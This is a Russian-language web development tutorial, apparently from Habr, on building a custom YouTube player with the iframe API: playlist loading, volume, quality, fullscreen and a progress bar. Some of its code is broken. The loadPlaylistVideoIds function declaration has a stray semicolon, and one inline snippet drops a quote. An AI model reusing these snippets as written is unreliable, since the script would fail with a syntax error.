document.getElementById('full').addEventListener('click', playFullscreen);
}
/*Включение фуллскрина*/
function playFullscreen (){
player.playVideo();//won't work on mobile
var requestFullScreen = iframe.requestFullScreen || iframe.mozRequestFullScreen || iframe.webkitRequestFullScreen;
if (requestFullScreen) {
requestFullScreen.bind(iframe)();
}
}
/*Загрузить плейлист*/
function loadPlaylistVideoIds(); {
player.loadPlaylist({
'playlist': ['9HPiBJBCOq8', 'Mp4D0oHEnjc', '8y1D8KGtHfQ', 'jEEF_50sBrI'],
'listType': 'playlist',
'index': 0,
'startSeconds': 0,
'suggestedQuality': 'small'
});
}
/*Громкость*/
function editVolume () {
if (player.getVolume() == 0) {
player.setVolume('100');
} else {
player.setVolume('0');
}
}
/*Качество*/
function editQuality () {
player.setPlaybackQuality('medium');
document.getElementById('quality').innerHTML = '480';
}
// Обновляем время на панельке - счетчик
function updateTimerDisplay(){
document.getElementById('time').innerHTML = formatTime(player.getCurrentTime());
}
/*Формат времени*/
function formatTime(time){
time = Math.round(time);
var minutes = Math.floor(time / 60),
seconds = time - minutes * 60;
seconds = seconds < 10 ? '0' + seconds : seconds;
return minutes + ":" + seconds;
}
// Обновляем прогресс
function updateProgressBar(){
var line_width = jQuery('#line').width();
var persent = (player.getCurrentTime() / player.getDuration());
jQuery('.viewed').css('width', persent * line_width);
per = persent * 100;
jQuery('#fader').css('left', per+'%');
}
/*Линия прогресса*/
function progress (event) {
var line_width = jQuery('#line').width();
// положение элемента
var pos = jQuery('#line').offset();
var elem_left = pos.left;
// положение курсора внутри элемента
var Xinner = event.pageX - elem_left;
var newTime = player.getDuration() * (Xinner / line_width);
// Skip video to new time.
player.seekTo(newTime);
}
```
А теперь как это работает. Для начала создаем плеер — для этого нужна обязательная функция:
```
//Инициализация плеера
function onYouTubeIframeAPIReady() {
player = new YT.Player('player', {
height: '500',
playerVars: { 'autoplay': 0, 'controls': 0, 'showinfo': 0, 'rel': 0},
width: '850',
videoId: 'CyVuYAHiZb8',
events: {
'onReady': onPlayerReady
}
});
}
```
Она вызывается сама по видимому сразу, а внутри нее создается объект YT.Player с параметрами. Первый 'player' — идентификатор к которому при инициализации цепляется iframe. Далее height и width — размеры iframe, videoId: 'CyVuYAHiZb8' — идентификатор видео — это наш Рэй Чарльз. playerVars: { 'autoplay': 0, 'controls': 0, 'showinfo': 0, 'rel': 0} — это настройки плеера, сами говорят за себя -стоят нули, чтобы выключить элементы управления, которые мы делаем свои.
И events: {'onReady': onPlayerReady} — хук, цепляющий метод для обработки события готовности. Дальше как раз идет эта функция, в ней собраны методы для обработки событий и т.п.
Теперь что касается объекта player. Он создан и им можно управлять, вызывая методы, как в панели управления в html — кнопочки.
**HTML-код панельки плеера**
```
Back
Play
Pause
Next
00:00
Громкость
Auto
FullScreen
Load New Playlist
Сменить качество на 480
```
**Кнопки play и pause**
```
Play
```
— play
```
Pause
```
— pause
Здесь все просто плей-пауза
**Кнопки back и next**
```
Back
Next
```
Эти кнопки нужны для переключения видео в плейлисте.
**Для создания плейлиста есть кнопка**
```
Load New Playlist
```
— которая вызывает функцию по клику.
Эта функция вызывает метод player.loadPlaylist ({....})
```
function loadPlaylistVideoIds(); {
player.loadPlaylist({
'playlist': ['9HPiBJBCOq8', 'Mp4D0oHEnjc', '8y1D8KGtHfQ', 'jEEF_50sBrI'],
'listType': 'playlist',
'index': 0,
'startSeconds': 0,
'suggestedQuality': 'small'
});
}
```
с параметрам playlist': ['9HPiBJBCOq8', 'Mp4D0oHEnjc', '8y1D8KGtHfQ', 'jEEF\_50sBrI'] — список видео в плейлисте. 'listType': 'playlist' — тип, 'index': 0 — индекс видео, с которого начать, остальные параметры очевидны. Так загружаются плейлисты. Также плейлист можно инициализировать прямо в начале, тогда нужно в параметрах объекта YT.Player прописать playerVars: { 'autoplay': 0, 'controls': 0, 'showinfo': 0, 'rel': 0, playlist': ['9HPiBJBCOq8', 'Mp4D0oHEnjc', '8y1D8KGtHfQ', 'jEEF\_50sBrI'] },
**Также реализованы кнопки управления громкостью**
```
Громкость
```
— при нажатии включает или вырубает звук. Используются методы по аналогии:
```
/*Громкость*/
function editVolume () {
if (player.getVolume() == 0) {
player.setVolume('100');
} else {
player.setVolume('0');
}
}
```
**А также качество**
```
Сменить качество на 480
```
```
/*Качество*/
function editQuality () {
player.setPlaybackQuality('medium');
document.getElementById('quality').innerHTML = '480';
}
```
**И фуллскрин**
```
FullScreen
```
```
function playFullscreen (){
player.playVideo();
var requestFullScreen = iframe.requestFullScreen || iframe.mozRequestFullScreen || iframe.webkitRequestFullScreen;
if (requestFullScreen) {
requestFullScreen.bind(iframe)();
}
}
```
Здесь кратко описаны функции для работоспособности панельки. В итоге — Кнопки Play, Pause, есть кнопка загрузки плейлиста из 3-х видео, Next и Back для плейлиста, фейдер и линия прогрузки, обновляющееся время, кнопки, демонстрирующие работу громкости, качества и фуллскрин — все это начальные сведения для разработки собственного плеера, взаимодействующего с Youtube Iframe.
Демо вариант доступен [Вот тут](http://kittiek6.bget.ru/test/player.html)
При написании статьи использовался мануал от Youtube в котором можно найти расширенное описание работы с Youtube iframe API [здесь](https://developers.google.com/youtube/iframe_api_reference?hl=ru)
#### Ресурсы, реализующие такой плеер
* Про функционирование кнопки для fullscreen я нашел пример на [codepen](https://codepen.io/bfred-it/pen/GgOvLM)
* Демо вариант от ютуба можно посмотреть у них [демо Youtube](https://developers.google.com/youtube/youtube_player_demo?hl=ru) — но тут не совсем то.
* Ещё на просторах интернета нашел сайт [Valera.tv](http://valera.tv/start) с реализацией такого плеера со своим забавным дизайном.
* Кстати, аналогичный плеер был сделан в ВКонтакте, но почему то они от него отказались, и просто вставляют стандартный iframe c ютубовскими кнопками.
* Также для справки аналогичный плеер и реализацию через Youtube iframe API для плеера делает [Uppod](http://uppod.ru/) — но он частично платный и про него кучу раз писали.
#### Заключение
В целом в статье приводится один пример создания своего плеера, транслирующего Youtube видео на вашем сайте с использованием Javascript. | https://habr.com/ru/post/306726/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.